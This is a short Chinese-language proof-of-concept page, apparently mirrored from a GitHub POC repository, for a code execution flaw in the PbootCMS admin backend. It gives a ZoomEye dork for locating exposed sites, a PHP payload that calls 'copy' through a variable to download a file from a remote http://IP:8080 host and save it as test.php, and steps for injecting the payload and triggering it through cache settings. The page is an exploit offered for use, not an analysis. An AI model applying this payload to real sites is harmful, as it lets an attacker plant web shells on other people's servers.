mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
33 lines
816 B
Markdown
33 lines
816 B
Markdown
|
## PbootCMS全版本后台通杀任意代码执行漏洞
|
|||
|
|
|
|||
|
|
## ZoomEye
|
|||
|
|
```
|
|||
|
|
app:"PbootCMS"
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## poc
|
|||
|
|
```
|
|||
|
|
<?php
|
|||
|
|
|
|||
|
|
$test="copy";
|
|||
|
|
|
|||
|
|
$test("http://IP:8080/1.txt","test.php");
|
|||
|
|
|
|||
|
|
?>
|
|||
|
|
```
|
|||
|
|
在尾部信息和统计代码中（其他位置可能效果一样）插入php代码
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
然后来到全局配置-配置参数
|
|||
|
|
|
|||
|
|
打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
然后随便点击任意文章，触发漏洞
|
|||
|
|
|
|||
|
|
|